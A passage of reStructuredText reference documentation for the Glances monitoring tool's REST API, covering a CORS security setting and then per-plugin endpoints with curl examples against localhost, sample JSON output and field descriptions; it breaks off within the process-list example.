``*`` combined with credentials is insecure and will be\nautomatically rejected:\n\n.. code-block:: ini\n\n    [outputs]\n    cors_origins=https://my-dashboard.internal.example.com\n    cors_credentials=True\n\n.. warning::\n\n    Setting ``cors_credentials=True`` with ``cors_origins=*`` is not allowed.\n    Glances will automatically disable credentials and log a warning if this\n    combination is detected. This prevents a class of cross-site data theft\n    attacks where any website could read your monitoring data.\n\nWhen Glances is started without authentication or without host filtering,\nwarning messages are displayed at startup to remind you of the risks.\n\nWebUI refresh\n-------------\n\nIt is possible to change the Web UI refresh rate (default is 2 seconds) using the following option in the URL:\n``http://localhost:61208/?refresh=5``\n\n\nGET API status\n--------------\n\nThis entry point should be used to check the API status.\nIt will the Glances version and a 200 return code if everything is OK.\n\nGet the Rest API status::\n\n    # curl -I http://localhost:61208/api/4/status\n    \"HTTP/1.0 200 OK\"\n\nGET plugins list\n----------------\n\nGet the plugins list::\n\n    # curl http://localhost:61208/api/4/pluginslist\n    [\"alert\",\n     \"amps\",\n     \"cloud\",\n     \"connections\",\n     \"containers\",\n     \"core\",\n     \"cpu\",\n     \"diskio\",\n     \"folders\",\n     \"fs\",\n     \"gpu\",\n     \"help\",\n     \"ip\",\n     \"irq\",\n     \"load\",\n     \"mem\",\n     \"memswap\",\n     \"network\",\n     \"now\",\n     \"npu\",\n     \"percpu\",\n     \"ports\",\n     \"processcount\",\n     \"processlist\",\n     \"programlist\",\n     \"psutilversion\",\n     \"quicklook\",\n     \"raid\",\n     \"sensors\",\n     \"smart\",\n     \"system\",\n     \"uptime\",\n     \"version\",\n     \"vms\",\n     \"wifi\"]\n\nGET alert\n---------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/alert\n    []\n\nFields descriptions:\n\n* **begin**: Begin timestamp of the event (unit is *timestamp*)\n* **end**: End timestamp of the event (or -1 if ongoing) (unit is *timestamp*)\n* **state**: State of the event (WARNING|CRITICAL) (unit is *string*)\n* **type**: Type of the event (CPU|LOAD|MEM) (unit is *string*)\n* **max**: Maximum value during the event period (unit is *float*)\n* **avg**: Average value during the event period (unit is *float*)\n* **min**: Minimum value during the event period (unit is *float*)\n* **sum**: Sum of the values during the event period (unit is *float*)\n* **count**: Number of values during the event period (unit is *int*)\n* **top**: Top 3 processes name during the event period (unit is *list*)\n* **desc**: Description of the event (unit is *string*)\n* **sort**: Sort key of the top processes (unit is *string*)\n* **global_msg**: Global alert message (unit is *string*)\n\nPOST clear events\n-----------------\n\nClear all alarms from the list::\n\n    # curl -H \"Content-Type: application/json\" -X POST http://localhost:61208/api/4/events/clear/all\n\nClear warning alarms from the list::\n\n    # curl -H \"Content-Type: application/json\" -X POST http://localhost:61208/api/4/events/clear/warning\n\nGET amps\n--------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/amps\n    [{\"count\": 0,\n      \"countmax\": None,\n      \"countmin\": 1.0,\n      \"key\": \"name\",\n      \"name\": \"Dropbox\",\n      \"refresh\": 3.0,\n      \"regex\": True,\n      \"result\": None,\n      \"timer\": 0.566307783126831},\n     {\"count\": 0,\n      \"countmax\": 20.0,\n      \"countmin\": None,\n      \"key\": \"name\",\n      \"name\": \"Python\",\n      \"refresh\": 3.0,\n      \"regex\": True,\n      \"result\": None,\n      \"timer\": 0.5662040710449219}]\n\nFields descriptions:\n\n* **name**: AMP name (unit is *None*)\n* **result**: AMP result (a string) (unit is *None*)\n* **refresh**: AMP refresh interval (unit is *second*)\n* **timer**: Time until next refresh (unit is *second*)\n* **count**: Number of matching processes (unit is *number*)\n* **countmin**: Minimum number of matching processes (unit is *number*)\n* **countmax**: Maximum number of matching processes (unit is *number*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/amps/name\n    {\"name\": [\"Dropbox\", \"Python\", \"Conntrack\", \"Nginx\", \"Systemd\", \"SystemV\"]}\n\nGet a specific item when field matches the given value::\n\n    # curl http://localhost:61208/api/4/amps/name/value/Dropbox\n    {\"Dropbox\": [{\"count\": 0,\n                  \"countmax\": None,\n                  \"countmin\": 1.0,\n                  \"key\": \"name\",\n                  \"name\": \"Dropbox\",\n                  \"refresh\": 3.0,\n                  \"regex\": True,\n                  \"result\": None,\n                  \"timer\": 0.566307783126831}]}\n\nGET cloud\n---------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/cloud\n    {}\n\nGET connections\n---------------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/connections\n    {\"net_connections_enabled\": True, \"nf_conntrack_enabled\": True}\n\nFields descriptions:\n\n* **LISTEN**: Number of TCP connections in LISTEN state (unit is *number*)\n* **ESTABLISHED**: Number of TCP connections in ESTABLISHED state (unit is *number*)\n* **SYN_SENT**: Number of TCP connections in SYN_SENT state (unit is *number*)\n* **SYN_RECV**: Number of TCP connections in SYN_RECV state (unit is *number*)\n* **initiated**: Number of TCP connections initiated (unit is *number*)\n* **terminated**: Number of TCP connections terminated (unit is *number*)\n* **nf_conntrack_count**: Number of tracked connections (unit is *number*)\n* **nf_conntrack_max**: Maximum number of tracked connections (unit is *number*)\n* **nf_conntrack_percent**: Percentage of tracked connections (unit is *percent*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/connections/net_connections_enabled\n    {\"net_connections_enabled\": True}\n\nGET containers\n--------------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/containers\n    []\n\nFields descriptions:\n\n* **name**: Container name (unit is *None*)\n* **id**: Container ID (unit is *None*)\n* **image**: Container image (unit is *None*)\n* **status**: Container status (unit is *None*)\n* **created**: Container creation date (unit is *None*)\n* **command**: Container command (unit is *None*)\n* **cpu_percent**: Container CPU consumption (unit is *percent*)\n* **memory_inactive_file**: Container memory inactive file (unit is *byte*)\n* **memory_limit**: Container memory limit (unit is *byte*)\n* **memory_usage**: Container memory usage (unit is *byte*)\n* **io_rx**: Container IO bytes read rate (unit is *bytepersecond*)\n* **io_wx**: Container IO bytes write rate (unit is *bytepersecond*)\n* **network_rx**: Container network RX bitrate (unit is *bitpersecond*)\n* **network_tx**: Container network TX bitrate (unit is *bitpersecond*)\n* **ports**: Container ports (unit is *None*)\n* **uptime**: Container uptime (unit is *None*)\n* **engine**: Container engine (Docker, Podman, and LXD are currently supported) (unit is *None*)\n* **pod_name**: Pod name (only with Podman) (unit is *None*)\n* **pod_id**: Pod ID (only with Podman) (unit is *None*)\n\nGET core\n--------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/core\n    {\"log\": 16, \"phys\": 10}\n\nFields descriptions:\n\n* **phys**: Number of physical cores (hyper thread CPUs are excluded) (unit is *number*)\n* **log**: Number of logical CPU cores. A logical CPU is the number of physical cores multiplied by the number of threads that can run on each core (unit is *number*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/core/phys\n    {\"phys\": 10}\n\nGET cpu\n-------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/cpu\n    {\"cpucore\": 16,\n     \"ctx_switches\": 152427724,\n     \"guest\": 0.0,\n     \"idle\": 93.2,\n     \"interrupts\": 105463390,\n     \"iowait\": 0.2,\n     \"irq\": 0.0,\n     \"nice\": 0.0,\n     \"soft_interrupts\": 48014533,\n     \"steal\": 0.0,\n     \"syscalls\": 0,\n     \"system\": 3.1,\n     \"total\": 6.7,\n     \"user\": 3.5}\n\nFields descriptions:\n\n* **total**: Sum of all CPU percentages (except idle) (unit is *percent*)\n* **system**: Percent time spent in kernel space. System CPU time is the time spent running code in the Operating System kernel (unit is *percent*)\n* **user**: CPU percent time spent in user space. User CPU time is the time spent on the processor running your program's code (or code in libraries) (unit is *percent*)\n* **iowait**: *(Linux)*: percent time spent by the CPU waiting for I/O operations to complete (unit is *percent*)\n* **dpc**: *(Windows)*: time spent servicing deferred procedure calls (DPCs) (unit is *percent*)\n* **idle**: percent of CPU used by any program. Every program or task that runs on a computer system occupies a certain amount of processing time on the CPU. If the CPU has completed all tasks it is idle (unit is *percent*)\n* **irq**: *(Linux and BSD)*: percent time spent servicing/handling hardware/software interrupts. Time servicing interrupts (hardware + software) (unit is *percent*)\n* **nice**: *(Unix)*: percent time occupied by user level processes with a positive nice value. The time the CPU has spent running users' processes that have been *niced* (unit is *percent*)\n* **steal**: *(Linux)*: percentage of time a virtual CPU waits for a real CPU while the hypervisor is servicing another virtual processor (unit is *percent*)\n* **guest**: *(Linux)*: time spent running a virtual CPU for guest operating systems under the control of the Linux kernel (unit is *percent*)\n* **ctx_switches**: number of context switches (voluntary + involuntary) per second. A context switch is a procedure that a computer's CPU (central processing unit) follows to change from one task (or process) to another while ensuring that the tasks do not conflict (unit is *number*)\n* **ctx_switches_rate_per_sec**: number of context switches (voluntary + involuntary) per second. A context switch is a procedure that a computer's CPU (central processing unit) follows to change from one task (or process) to another while ensuring that the tasks do not conflict per second (unit is *number* per second)\n* **ctx_switches_gauge**: number of context switches (voluntary + involuntary) per second. A context switch is a procedure that a computer's CPU (central processing unit) follows to change from one task (or process) to another while ensuring that the tasks do not conflict (cumulative) (unit is *number*)\n* **interrupts**: number of interrupts per second (unit is *number*)\n* **interrupts_rate_per_sec**: number of interrupts per second per second (unit is *number* per second)\n* **interrupts_gauge**: number of interrupts per second (cumulative) (unit is *number*)\n* **soft_interrupts**: number of software interrupts per second. Always set to 0 on Windows and SunOS (unit is *number*)\n* **soft_interrupts_rate_per_sec**: number of software interrupts per second. Always set to 0 on Windows and SunOS per second (unit is *number* per second)\n* **soft_interrupts_gauge**: number of software interrupts per second. Always set to 0 on Windows and SunOS (cumulative) (unit is *number*)\n* **syscalls**: number of system calls per second. Always 0 on Linux OS (unit is *number*)\n* **syscalls_rate_per_sec**: number of system calls per second. Always 0 on Linux OS per second (unit is *number* per second)\n* **syscalls_gauge**: number of system calls per second. Always 0 on Linux OS (cumulative) (unit is *number*)\n* **cpucore**: Total number of CPU core (unit is *number*)\n* **time_since_update**: Number of seconds since last update (unit is *seconds*)\n* **total_min**: Minimum total observed since Glances startup (unit is *percent*)\n* **total_max**: Maximum total observed since Glances startup (unit is *percent*)\n* **total_mean**: Mean (average) total computed from the history (unit is *percent*)\n* **time_since_update**: Number of seconds since last update (unit is *seconds*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/cpu/total\n    {\"total\": 6.7}\n\nGET diskio\n----------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/diskio\n    [{\"disk_name\": \"nvme0n1\",\n      \"key\": \"disk_name\",\n      \"read_bytes\": 6458706432,\n      \"read_count\": 213608,\n      \"read_latency\": 0,\n      \"read_time\": 43145,\n      \"write_bytes\": 637986309120,\n      \"write_count\": 5206017,\n      \"write_latency\": 0,\n      \"write_time\": 55663335},\n     {\"disk_name\": \"nvme0n1p1\",\n      \"key\": \"disk_name\",\n      \"read_bytes\": 7517184,\n      \"read_count\": 579,\n      \"read_latency\": 0,\n      \"read_time\": 260,\n      \"write_bytes\": 1024,\n      \"write_count\": 2,\n      \"write_latency\": 0,\n      \"write_time\": 9}]\n\nFields descriptions:\n\n* **disk_name**: Disk name (unit is *None*)\n* **read_count**: Number of reads (unit is *number*)\n* **read_count_rate_per_sec**: Number of reads per second (unit is *number* per second)\n* **read_count_gauge**: Number of reads (cumulative) (unit is *number*)\n* **write_count**: Number of writes (unit is *number*)\n* **write_count_rate_per_sec**: Number of writes per second (unit is *number* per second)\n* **write_count_gauge**: Number of writes (cumulative) (unit is *number*)\n* **read_bytes**: Number of bytes read (unit is *byte*)\n* **read_bytes_rate_per_sec**: Number of bytes read per second (unit is *byte* per second)\n* **read_bytes_gauge**: Number of bytes read (cumulative) (unit is *byte*)\n* **write_bytes**: Number of bytes written (unit is *byte*)\n* **write_bytes_rate_per_sec**: Number of bytes written per second (unit is *byte* per second)\n* **write_bytes_gauge**: Number of bytes written (cumulative) (unit is *byte*)\n* **read_time**: Time spent reading (unit is *millisecond*)\n* **read_time_rate_per_sec**: Time spent reading per second (unit is *millisecond* per second)\n* **read_time_gauge**: Time spent reading (cumulative) (unit is *millisecond*)\n* **write_time**: Time spent writing (unit is *millisecond*)\n* **write_time_rate_per_sec**: Time spent writing per second (unit is *millisecond* per second)\n* **write_time_gauge**: Time spent writing (cumulative) (unit is *millisecond*)\n* **read_latency**: Mean time spent reading per operation (unit is *millisecond*)\n* **write_latency**: Mean time spent writing per operation (unit is *millisecond*)\n* **time_since_update**: Number of seconds since last update (unit is *seconds*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/diskio/disk_name\n    {\"disk_name\": [\"nvme0n1\",\n                   \"nvme0n1p1\",\n                   \"nvme0n1p2\",\n                   \"nvme0n1p3\",\n                   \"dm-0\",\n                   \"dm-1\"]}\n\nGet a specific item when field matches the given value::\n\n    # curl http://localhost:61208/api/4/diskio/disk_name/value/nvme0n1\n    {\"nvme0n1\": [{\"disk_name\": \"nvme0n1\",\n                  \"key\": \"disk_name\",\n                  \"read_bytes\": 6458706432,\n                  \"read_count\": 213608,\n                  \"read_latency\": 0,\n                  \"read_time\": 43145,\n                  \"write_bytes\": 637986309120,\n                  \"write_count\": 5206017,\n                  \"write_latency\": 0,\n                  \"write_time\": 55663335}]}\n\nGET folders\n-----------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/folders\n    []\n\nFields descriptions:\n\n* **path**: Absolute path (unit is *None*)\n* **size**: Folder size in bytes (unit is *byte*)\n* **refresh**: Refresh interval in seconds (unit is *second*)\n* **errno**: Return code when retrieving folder size (0 is no error) (unit is *number*)\n* **careful**: Careful threshold in MB (unit is *megabyte*)\n* **warning**: Warning threshold in MB (unit is *megabyte*)\n* **critical**: Critical threshold in MB (unit is *megabyte*)\n\nGET fs\n------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/fs\n    [{\"device_name\": \"/dev/mapper/ubuntu--vg-ubuntu--lv\",\n      \"free\": 555017846784,\n      \"fs_type\": \"ext4\",\n      \"key\": \"mnt_point\",\n      \"mnt_point\": \"/\",\n      \"options\": \"rw,relatime\",\n      \"percent\": 41.7,\n      \"size\": 1003736440832,\n      \"used\": 397656088576},\n     {\"device_name\": \"zsfpool\",\n      \"free\": 41680896,\n      \"fs_type\": \"zfs\",\n      \"key\": \"mnt_point\",\n      \"mnt_point\": \"/zsfpool\",\n      \"options\": \"rw,relatime,xattr,noacl,casesensitive\",\n      \"percent\": 0.3,\n      \"size\": 41811968,\n      \"used\": 131072}]\n\nFields descriptions:\n\n* **device_name**: Device name (unit is *None*)\n* **fs_type**: File system type (unit is *None*)\n* **mnt_point**: Mount point (unit is *None*)\n* **options**: Mount options (unit is *None*)\n* **size**: Total size (unit is *byte*)\n* **used**: Used size (unit is *byte*)\n* **free**: Free size (unit is *byte*)\n* **percent**: File system usage in percent (unit is *percent*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/fs/mnt_point\n    {\"mnt_point\": [\"/\", \"/zsfpool\"]}\n\nGet a specific item when field matches the given value::\n\n    # curl http://localhost:61208/api/4/fs/mnt_point/value//\n    {\"/\": [{\"device_name\": \"/dev/mapper/ubuntu--vg-ubuntu--lv\",\n            \"free\": 555017846784,\n            \"fs_type\": \"ext4\",\n            \"key\": \"mnt_point\",\n            \"mnt_point\": \"/\",\n            \"options\": \"rw,relatime\",\n            \"percent\": 41.7,\n            \"size\": 1003736440832,\n            \"used\": 397656088576}]}\n\nGET gpu\n-------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/gpu\n    [{\"fan_speed\": None,\n      \"gpu_id\": \"intel0\",\n      \"key\": \"gpu_id\",\n      \"mem\": None,\n      \"name\": \"UHD Graphics\",\n      \"proc\": 0,\n      \"temperature\": None},\n     {\"fan_speed\": None,\n      \"gpu_id\": \"intel1\",\n      \"key\": \"gpu_id\",\n      \"mem\": None,\n      \"name\": \"Arc A370M\",\n      \"proc\": 0,\n      \"temperature\": None}]\n\nFields descriptions:\n\n* **gpu_id**: GPU identification (unit is *None*)\n* **name**: GPU name (unit is *None*)\n* **mem**: Memory consumption (unit is *percent*)\n* **proc**: GPU processor consumption (unit is *percent*)\n* **temperature**: GPU temperature (unit is *celsius*)\n* **fan_speed**: GPU fan speed (unit is *roundperminute*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/gpu/gpu_id\n    {\"gpu_id\": [\"intel0\", \"intel1\"]}\n\nGet a specific item when field matches the given value::\n\n    # curl http://localhost:61208/api/4/gpu/gpu_id/value/intel0\n    {\"intel0\": [{\"fan_speed\": None,\n                 \"gpu_id\": \"intel0\",\n                 \"key\": \"gpu_id\",\n                 \"mem\": None,\n                 \"name\": \"UHD Graphics\",\n                 \"proc\": 0,\n                 \"temperature\": None}]}\n\nGET help\n--------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/help\n    None\n\nGET ip\n------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/ip\n    {\"address\": \"192.168.0.26\", \"mask\": \"255.255.255.0\", \"mask_cidr\": 24}\n\nFields descriptions:\n\n* **address**: Private IP address (unit is *None*)\n* **mask**: Private IP mask (unit is *None*)\n* **mask_cidr**: Private IP mask in CIDR format (unit is *number*)\n* **gateway**: Private IP gateway (unit is *None*)\n* **public_address**: Public IP address (unit is *None*)\n* **public_info_human**: Public IP information (unit is *None*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/ip/address\n    {\"address\": \"192.168.0.26\"}\n\nGET irq\n-------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/irq\n    []\n\nFields descriptions:\n\n* **irq_line**: IRQ line name (unit is *None*)\n* **irq_rate**: IRQ rate per second (unit is *numberpersecond*)\n\nGET load\n--------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/load\n    {\"cpucore\": 16,\n     \"min1\": 0.9951171875,\n     \"min15\": 0.50146484375,\n     \"min5\": 0.681640625}\n\nFields descriptions:\n\n* **min1**: Average sum of the number of processes waiting in the run-queue plus the number currently executing over 1 minute (unit is *float*)\n* **min5**: Average sum of the number of processes waiting in the run-queue plus the number currently executing over 5 minutes (unit is *float*)\n* **min15**: Average sum of the number of processes waiting in the run-queue plus the number currently executing over 15 minutes (unit is *float*)\n* **cpucore**: Total number of CPU core (unit is *number*)\n* **min1_min**: Minimum min1 observed since Glances startup (unit is *float*)\n* **min1_max**: Maximum min1 observed since Glances startup (unit is *float*)\n* **min1_mean**: Mean (average) min1 computed from the history (unit is *float*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/load/min1\n    {\"min1\": 0.9951171875}\n\nGET mem\n-------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/mem\n    {\"active\": 5032194048,\n     \"available\": 6524041008,\n     \"buffers\": 286838784,\n     \"cached\": 4723513264,\n     \"free\": 2051309568,\n     \"inactive\": 7704158208,\n     \"percent\": 60.3,\n     \"percent_max\": 60.3,\n     \"percent_mean\": 60.3,\n     \"percent_min\": 60.3,\n     \"shared\": 965685248,\n     \"total\": 16421228544,\n     \"used\": 9897187536}\n\nFields descriptions:\n\n* **total**: Total physical memory available (unit is *bytes*)\n* **available**: The actual amount of available memory that can be given instantly to processes that request more memory in bytes; this is calculated by summing different memory values depending on the platform (e.g. free + buffers + cached on Linux) and it is supposed to be used to monitor actual memory usage in a cross platform fashion (unit is *bytes*)\n* **percent**: The percentage usage calculated as (total - available) / total * 100 (unit is *percent*)\n* **used**: Memory used, calculated differently depending on the platform and designed for informational purposes only (unit is *bytes*)\n* **free**: Memory not being used at all (zeroed) that is readily available; note that this doesn't reflect the actual memory available (use 'available' instead) (unit is *bytes*)\n* **active**: *(UNIX)*: memory currently in use or very recently used, and so it is in RAM (unit is *bytes*)\n* **inactive**: *(UNIX)*: memory that is marked as not used (unit is *bytes*)\n* **buffers**: *(Linux, BSD)*: cache for things like file system metadata (unit is *bytes*)\n* **cached**: *(Linux, BSD)*: cache for various things (including ZFS cache) (unit is *bytes*)\n* **wired**: *(BSD, macOS)*: memory that is marked to always stay in RAM. It is never moved to disk (unit is *bytes*)\n* **shared**: *(BSD)*: memory that may be simultaneously accessed by multiple processes (unit is *bytes*)\n* **percent_min**: Minimum percent observed since Glances startup (unit is *percent*)\n* **percent_max**: Maximum percent observed since Glances startup (unit is *percent*)\n* **percent_mean**: Mean (average) percent computed from the history (unit is *percent*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/mem/total\n    {\"total\": 16421228544}\n\nGET memswap\n-----------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/memswap\n    {\"free\": 4294070272,\n     \"percent\": 0.0,\n     \"sin\": 0,\n     \"sout\": 917504,\n     \"time_since_update\": 1,\n     \"total\": 4294963200,\n     \"used\": 892928}\n\nFields descriptions:\n\n* **total**: Total swap memory (unit is *bytes*)\n* **used**: Used swap memory (unit is *bytes*)\n* **free**: Free swap memory (unit is *bytes*)\n* **percent**: Used swap memory in percentage (unit is *percent*)\n* **sin**: The number of bytes the system has swapped in from disk (cumulative) (unit is *bytes*)\n* **sout**: The number of bytes the system has swapped out from disk (cumulative) (unit is *bytes*)\n* **time_since_update**: Number of seconds since last update (unit is *seconds*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/memswap/total\n    {\"total\": 4294963200}\n\nGET network\n-----------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/network\n    [{\"alias\": None,\n      \"bytes_all\": 0,\n      \"bytes_all_gauge\": 1599127754,\n      \"bytes_all_rate_per_sec\": 0,\n      \"bytes_recv\": 0,\n      \"bytes_recv_gauge\": 1408273604,\n      \"bytes_recv_rate_per_sec\": 0,\n      \"bytes_sent\": 0,\n      \"bytes_sent_gauge\": 190854150,\n      \"bytes_sent_rate_per_sec\": 0,\n      \"interface_name\": \"wlp0s20f3\",\n      \"key\": \"interface_name\",\n      \"speed\": 0,\n      \"time_since_update\": 0.5771474838256836}]\n\nFields descriptions:\n\n* **interface_name**: Interface name (unit is *None*)\n* **alias**: Interface alias name (optional) (unit is *None*)\n* **bytes_recv**: Number of bytes received (unit is *byte*)\n* **bytes_recv_rate_per_sec**: Number of bytes received per second (unit is *byte* per second)\n* **bytes_recv_gauge**: Number of bytes received (cumulative) (unit is *byte*)\n* **bytes_sent**: Number of bytes sent (unit is *byte*)\n* **bytes_sent_rate_per_sec**: Number of bytes sent per second (unit is *byte* per second)\n* **bytes_sent_gauge**: Number of bytes sent (cumulative) (unit is *byte*)\n* **bytes_all**: Number of bytes received and sent (unit is *byte*)\n* **bytes_all_rate_per_sec**: Number of bytes received and sent per second (unit is *byte* per second)\n* **bytes_all_gauge**: Number of bytes received and sent (cumulative) (unit is *byte*)\n* **speed**: Maximum interface speed (in bit per second). Can return 0 on some operating-system (unit is *bitpersecond*)\n* **is_up**: Is the interface up ? (unit is *bool*)\n* **time_since_update**: Number of seconds since last update (unit is *seconds*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/network/interface_name\n    {\"interface_name\": [\"wlp0s20f3\"]}\n\nGet a specific item when field matches the given value::\n\n    # curl http://localhost:61208/api/4/network/interface_name/value/wlp0s20f3\n    {\"wlp0s20f3\": [{\"alias\": None,\n                    \"bytes_all\": 0,\n                    \"bytes_all_gauge\": 1599127754,\n                    \"bytes_all_rate_per_sec\": 0,\n                    \"bytes_recv\": 0,\n                    \"bytes_recv_gauge\": 1408273604,\n                    \"bytes_recv_rate_per_sec\": 0,\n                    \"bytes_sent\": 0,\n                    \"bytes_sent_gauge\": 190854150,\n                    \"bytes_sent_rate_per_sec\": 0,\n                    \"interface_name\": \"wlp0s20f3\",\n                    \"key\": \"interface_name\",\n                    \"speed\": 0,\n                    \"time_since_update\": 0.5771474838256836}]}\n\nGET now\n-------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/now\n    {\"custom\": \"2026-03-15 16:33:19 CET\", \"iso\": \"2026-03-15T16:33:19+01:00\"}\n\nFields descriptions:\n\n* **custom**: Current date in custom format (unit is *None*)\n* **iso**: Current date in ISO 8601 format (unit is *None*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/now/iso\n    {\"iso\": \"2026-03-15T16:33:19+01:00\"}\n\nGET npu\n-------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/npu\n    []\n\nFields descriptions:\n\n* **npu_id**: NPU identification (unit is *None*)\n* **name**: NPU name (unit is *None*)\n* **load**: NPU load (unit is *percent*)\n* **freq**: NPU frequency (unit is *percent*)\n* **freq_current**: NPU current frequency (unit is *hertz*)\n* **freq_max**: NPU maximum frequency (unit is *hertz*)\n* **mem**: Memory consumption (unit is *percent*)\n* **memory_used**: Memory used (unit is *byte*)\n* **memory_total**: Memory total (unit is *byte*)\n* **temperature**: NPU temperature (unit is *celsius*)\n* **power**: NPU power consumption (unit is *watt*)\n\nGET percpu\n----------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/percpu\n    [{\"cpu_number\": 0,\n      \"dpc\": None,\n      \"guest\": 0.0,\n      \"guest_nice\": 0.0,\n      \"idle\": 45.0,\n      \"interrupt\": None,\n      \"iowait\": 0.0,\n      \"irq\": 0.0,\n      \"key\": \"cpu_number\",\n      \"nice\": 0.0,\n      \"softirq\": 0.0,\n      \"steal\": 0.0,\n      \"system\": 11.0,\n      \"total\": 55.0,\n      \"user\": 0.0},\n     {\"cpu_number\": 1,\n      \"dpc\": None,\n      \"guest\": 0.0,\n      \"guest_nice\": 0.0,\n      \"idle\": 56.0,\n      \"interrupt\": None,\n      \"iowait\": 0.0,\n      \"irq\": 0.0,\n      \"key\": \"cpu_number\",\n      \"nice\": 0.0,\n      \"softirq\": 0.0,\n      \"steal\": 0.0,\n      \"system\": 1.0,\n      \"total\": 44.0,\n      \"user\": 0.0}]\n\nFields descriptions:\n\n* **cpu_number**: CPU number (unit is *None*)\n* **total**: Sum of CPU percentages (except idle) for current CPU number (unit is *percent*)\n* **system**: Percent time spent in kernel space. System CPU time is the time spent running code in the Operating System kernel (unit is *percent*)\n* **user**: CPU percent time spent in user space. User CPU time is the time spent on the processor running your program's code (or code in libraries) (unit is *percent*)\n* **iowait**: *(Linux)*: percent time spent by the CPU waiting for I/O operations to complete (unit is *percent*)\n* **idle**: percent of CPU used by any program. Every program or task that runs on a computer system occupies a certain amount of processing time on the CPU. If the CPU has completed all tasks it is idle (unit is *percent*)\n* **irq**: *(Linux and BSD)*: percent time spent servicing/handling hardware/software interrupts. Time servicing interrupts (hardware + software) (unit is *percent*)\n* **nice**: *(Unix)*: percent time occupied by user level processes with a positive nice value. The time the CPU has spent running users' processes that have been *niced* (unit is *percent*)\n* **steal**: *(Linux)*: percentage of time a virtual CPU waits for a real CPU while the hypervisor is servicing another virtual processor (unit is *percent*)\n* **guest**: *(Linux)*: percent of time spent running a virtual CPU for guest operating systems under the control of the Linux kernel (unit is *percent*)\n* **guest_nice**: *(Linux)*: percent of time spent running a niced guest (virtual CPU) (unit is *percent*)\n* **softirq**: *(Linux)*: percent of time spent handling software interrupts (unit is *percent*)\n* **dpc**: *(Windows)*: percent of time spent handling deferred procedure calls (unit is *percent*)\n* **interrupt**: *(Windows)*: percent of time spent handling software interrupts (unit is *percent*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/percpu/cpu_number\n    {\"cpu_number\": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]}\n\nGET ports\n---------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/ports\n    [{\"description\": \"DefaultGateway\",\n      \"host\": \"192.168.0.254\",\n      \"indice\": \"port_0\",\n      \"port\": 0,\n      \"refresh\": 30,\n      \"rtt_warning\": None,\n      \"status\": 0.00671,\n      \"timeout\": 3}]\n\nFields descriptions:\n\n* **host**: Measurement is be done on this host (or IP address) (unit is *None*)\n* **port**: Measurement is be done on this port (0 for ICMP) (unit is *None*)\n* **description**: Human readable description for the host/port (unit is *None*)\n* **refresh**: Refresh time (in seconds) for this host/port (unit is *None*)\n* **timeout**: Timeout (in seconds) for the measurement (unit is *None*)\n* **status**: Measurement result (in seconds) (unit is *second*)\n* **rtt_warning**: Warning threshold (in seconds) for the measurement (unit is *second*)\n* **indice**: Unique indice for the host/port (unit is *None*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/ports/host\n    {\"host\": [\"192.168.0.254\"]}\n\nGet a specific item when field matches the given value::\n\n    # curl http://localhost:61208/api/4/ports/host/value/192.168.0.254\n    {\"192.168.0.254\": [{\"description\": \"DefaultGateway\",\n                        \"host\": \"192.168.0.254\",\n                        \"indice\": \"port_0\",\n                        \"port\": 0,\n                        \"refresh\": 30,\n                        \"rtt_warning\": None,\n                        \"status\": 0.00671,\n                        \"timeout\": 3}]}\n\nGET processcount\n----------------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/processcount\n    {\"pid_max\": 0, \"running\": 1, \"sleeping\": 425, \"thread\": 2137, \"total\": 581}\n\nFields descriptions:\n\n* **total**: Total number of processes (unit is *number*)\n* **running**: Total number of running processes (unit is *number*)\n* **sleeping**: Total number of sleeping processes (unit is *number*)\n* **thread**: Total number of threads (unit is *number*)\n* **pid_max**: Maximum number of processes (unit is *number*)\n\nGet a specific field::\n\n    # curl http://localhost:61208/api/4/processcount/total\n    {\"total\": 581}\n\nGET processlist\n---------------\n\nGet plugin stats::\n\n    # curl http://localhost:61208/api/4/processlist\n    [{\"cmdline\": [\"/snap/firefox/7967/usr/lib/firefox/firefox\"],\n      \"cpu_percent\": 0.0,\n      \"cpu_times\": {\"children_system\": 0.6,\n                    \"children_user\": 0.15,\n                    \"iowait\": 0.0,\n                    \"system\": 529.29,\n                    \"user\": 1996.72},\n      \"gids\": {\"effective\": 1000, \"real\": 1000, \"saved\": 1000},\n      \"io_counters\": [919012352, 2608193536, 0, 0, 0],\n      